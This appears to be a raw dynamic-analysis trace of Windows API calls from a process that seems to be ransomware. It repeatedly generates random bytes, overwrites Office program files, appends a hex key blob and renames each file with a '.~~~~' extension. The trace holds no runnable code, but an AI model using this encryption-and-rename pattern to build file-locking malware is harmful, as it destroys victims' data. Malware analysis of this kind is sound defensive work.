	[0130.834] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x860, lpOverlapped=0x0) returned 1
	[0130.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.836] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.836] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.836] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.836] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.836] CloseHandle (hObject=0x120) returned 1
	[0130.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1a40
	[0130.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.~~~~")) returned 1
	[0130.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1a40 | out: hHeap=0x300000) returned 1
	[0130.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.838] GetLastError () returned 0x0
	[0130.838] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1be8) returned 1
	[0130.839] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.839] CryptReleaseContext (hProv=0x3a1be8, dwFlags=0x0) returned 1
	[0130.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.839] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25082938992) returned 1
	[0130.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb76d8c90, dwHighDateTime=0x1d60e1e)) 
	[0130.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd038
	[0130.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd038 | out: hHeap=0x300000) returned 1
	[0130.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0ef8
	[0130.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.840] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.840] GetLastError () returned 0x0
	[0130.840] GetLastError () returned 0x0
	[0130.840] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.840] GetLastError () returned 0x0
	[0130.840] GetLastError () returned 0x0
	[0130.842] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd070, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.842] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x2f90, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x2f90, lpOverlapped=0x0) returned 1
	[0130.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.844] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.844] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.844] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.844] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.844] CloseHandle (hObject=0x120) returned 1
	[0130.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0ef8
	[0130.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.~~~~")) returned 1
	[0130.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0ef8 | out: hHeap=0x300000) returned 1
	[0130.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.953] GetLastError () returned 0x0
	[0131.024] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1a50) returned 1
	[0131.025] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.025] CryptReleaseContext (hProv=0x3a1a50, dwFlags=0x0) returned 1
	[0131.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.025] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25101516895) returned 1
	[0131.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb78a1d10, dwHighDateTime=0x1d60e1e)) 
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823598
	[0131.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823598 | out: hHeap=0x300000) returned 1
	[0131.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0131.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.026] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.026] GetLastError () returned 0x0
	[0131.026] GetLastError () returned 0x0
	[0131.026] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.026] GetLastError () returned 0x0
	[0131.039] GetLastError () returned 0x0
	[0131.045] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.046] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.050] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.050] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.053] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.053] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.053] CloseHandle (hObject=0x140) returned 1
	[0131.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3dc0
	[0131.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.~~~~")) returned 1
	[0131.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c3dc0 | out: hHeap=0x300000) returned 1
	[0131.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.106] GetLastError () returned 0x0
	[0131.121] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1940) returned 1
	[0131.122] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.122] CryptReleaseContext (hProv=0x3a1940, dwFlags=0x0) returned 1
	[0131.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.123] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25111293209) returned 1
	[0131.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7986550, dwHighDateTime=0x1d60e1e)) 
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2b8
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2b8 | out: hHeap=0x300000) returned 1
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4280
	[0131.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.124] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.124] GetLastError () returned 0x0
	[0131.124] GetLastError () returned 0x0
	[0131.124] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.124] GetLastError () returned 0x0
	[0131.124] GetLastError () returned 0x0
	[0131.189] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff68a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.189] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x9760, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x9760, lpOverlapped=0x0) returned 1
	[0131.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.192] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.192] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.192] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.192] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.192] CloseHandle (hObject=0x140) returned 1
	[0131.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.~~~~")) returned 1
	[0131.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0131.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.195] GetLastError () returned 0x0
	[0131.195] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a1d80) returned 1
	[0131.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.196] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0131.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.197] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25118683667) returned 1
	[0131.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7a44c30, dwHighDateTime=0x1d60e1e)) 
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe360
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe360 | out: hHeap=0x300000) returned 1
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0131.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0131.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0131.198] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.198] GetLastError () returned 0x0
	[0131.198] GetLastError () returned 0x0
	[0131.198] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0131.198] GetLastError () returned 0x0
	[0131.198] GetLastError () returned 0x0
	[0131.211] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb282, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.211] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x4d7e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x4d7e, lpOverlapped=0x0) returned 1
	[0131.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.213] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.213] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.213] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.213] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.213] CloseHandle (hObject=0x140) returned 1
	[0131.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x29d60a8
	[0131.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn.~~~~")) returned 1
	[0131.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d60a8 | out: hHeap=0x300000) returned 1
	[0131.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0131.216] GetLastError () returned 0x0
	[0131.216] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a17a8) returned 1
	[0131.218] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.218] CryptReleaseContext (hProv=0x3a17a8, dwFlags=0x0) returned 1
	[0131.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0131.219] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25120879103) returned 1
	[0131.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7a6ad90, dwHighDateTime=0x1d60e1e)) 
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe398
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe398 | out: hHeap=0x300000) returned 1
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0131.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4318
	[0131.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0131.220] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0131.220] GetLastError () returned 0x0
	[0131.220] GetLastError () returned 0x0
